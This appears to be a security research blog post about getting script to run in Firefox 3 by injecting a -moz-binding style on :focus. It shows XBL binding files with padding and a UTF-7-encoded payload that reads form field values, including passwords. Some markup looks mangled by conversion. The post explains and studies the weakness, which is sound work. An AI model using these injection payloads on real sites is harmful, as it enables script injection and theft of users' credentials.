XBL Bindings in FF2 were fun - since it was no problem to bind external and off-domain resources. Then came FF3 - and disabled off-site XBL usage. This could be circumvented via data URIs - but not for long. Current revisions of FF3 throw a security error when trying that. Attacks based on XBL and poisoned styles seemed to mitigated. But let's have a look what still can be done in most recent FF3 releases.

The Code

Assume the following setup - arbitrary HTML page. The attacker has control over the styles.

<style>
*:focus {
-moz-binding: url(binding.xml.123?123456);
}
</style>
<form action="test.php" method="post">
<input tabindex="1" name="text" value="text" type="text">

<input tabindex="2" name="password" value="secret!" type="password">
<input tabindex="3" id="submit" value="Go!" type="submit">
</form>

The -moz-binding property is set to url(binding.xml.123?123456); - which is an URL not ending with xml - but with a suffix the web server doesn't know to deal with. The xml directly before the .123 is nevertheless very important.

Let's have a look at our .123 file.

<?xml version="1.0"?>
<i>
<can>
<haz>
<padding>
and <slashes> and stuff as long as the "markup" is well formed. kind of.

<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="loader">
<implementation>
<constructor>
<!--[CDATA[document.body.innerHTML=body.innerHTML+('owned: "' + this.value + '"<br />');]]-->

</constructor>
</implementation>
</binding>
</bindings>
<!-- a lot of padding  -->
</slashes></padding></haz></can></i><h1><i>Lorem ipsum dolor sit amet</i></h1><i>

</i><p><i>
Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in
vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis
at vero et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril
</i></p><i>
<!-- a lot of padding  -->

We see here the tag, some padding, the actual bindings and again a whole bunch of padding. Still the binding works. So - we can chose or filename almost arbitrarily, we can add padding before and after the binding. At least as long we have the xml declaration at the right place.

So - what about playing with the encoding?

<?xml version="1.0" encoding="UTF-7"?>
+ADw-bindings xmlns+AD0AIg-http://www.mozilla.org/xbl+ACIAPg
+ADw-binding id+AD0AIg-loader+ACIAPg
+ADw-implementation+AD4
    +ADw-constructor+AD4
    +ADwAIQBb-CDATA+AFs-document.body.innerHTML+AD0-body.innerHTML+ACs('owned: +ACI' +ACs this.value +ACs '+ACIAPA-br+AD4')+ADsAXQBdAD4
    +ADw-/constructor+AD4
+ADw-/implementation+AD4
+ADw-/binding+AD4
+ADw-/bindings+AD4
+ADwAIQ--- a lot of padding  --+AD4
...

It works - so you can even compose your binding in UTF-7. And best of all - you can have a bunch of UTF-8 or whatever padding before the binding payload. As long as it's well formed the code will executed without any problems.

<?xml version="1.0" encoding="UTF-7"?>
<i>
<can>
<haz>
<padding>
and <slashes> and stuff as long as the "markup" is well formed. kind of.

+ADw-bindings xmlns+AD0AIg-http://www.mozilla.org/xbl+ACIAPg
+ADw-binding id+AD0AIg-loader+ACIAPg
+ADw-implementation+AD4
+ADw-constructor+AD4
+ADwAIQBb-CDATA+AFs-document.body.innerHTML+AD0-body.innerHTML+ACs('owned: +ACI' +ACs this.value +ACs '+ACIAPA-br+AD4')+ADsAXQBdAD4
+ADw-/constructor+AD4
+ADw-/implementation+AD4
+ADw-/binding+AD4
+ADw-/bindings+AD4
+ADwAIQ--- a lot of padding  --+AD4
...

Conclusion

It shouldn't be too hard to get a web app to either accept file uploads leading to this issue or fulfill one of the other requirements - although it's no every day scenario. Also the code should show how dangerous it is allowing a user to customize the sites styles. :focus can easily be exploited on IE too with expression() - even it that feature won't exist in IE8 standards mode anymore.